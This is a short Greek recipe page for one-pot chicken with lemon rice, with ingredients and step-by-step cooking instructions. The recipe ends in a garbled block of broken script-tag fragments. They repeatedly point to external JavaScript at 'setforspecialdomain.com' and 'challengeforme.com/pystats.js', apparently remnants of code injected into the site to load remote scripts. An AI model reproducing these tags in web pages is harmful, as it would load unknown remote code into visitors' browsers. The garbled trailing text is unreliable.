Ρύζι με κοτόπουλο σε 30 λεπτά

rice_0

Το παρακάτω κοτόπουλο είναι one pot, όλα μαζί σε ένα σκεύος και σε 30 λεπτά είναι έτοιμο και ποιοτικό.

Υλικά

  • 4 στήθη κοτόπουλο
  • 2 κουταλιές σούπας βούτυρο
  • Αλάτι και πιπέρι
  • Ξηρό θυμάρι
  • 1 πρέζα μπούκοβο
  • 1 φλυτζάνι ρύζι
  • Ζωμό κότας
  • Χυμό 1 λεμονιού

Εκτέλεση

  • Βάλτε σε βαθύ τηγάνι το βούτυρο και ροδίστε καλά το στήθος κοτόπουλου
  • Ρίξτε, αλάτι, πιπέρι, θυμάρι, μπούκοβο
  • Ροδίστε για 2 λεπτά από κάθε πλευρά
  • Βγάλτε το κοτόπουλο σε ένα πιάτο
  • Στο ίδιο τηγάνι προσθέστε το ρύζι και τον χυμό λεμονιού
  • Προσθέστε επίσης τον ζωμό κοτόπουλου που έχετε λιώσει σε 2 ποτήρια καυτό νερό
  • Βάλτε από πάνω το κοτόπουλο και καλύψτε με καπάκι
  • Σε μέτρια φωτιά αφήστε το για 20-25 λεπτά να φύγουν τα υγρά
  • Γαρνίρετε με φρέσκο μαϊντανό ή κόλιαντρο
  • Προσθέστε και μερικές φέτες λεμονιού για ομορφιά

___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>challengeforme.com/pystats.js’ async=true >challengeforme.com/pystats.js’ async=true >‘ >‘ >‘ >‘ >‘ >‘ >‘ >‘ >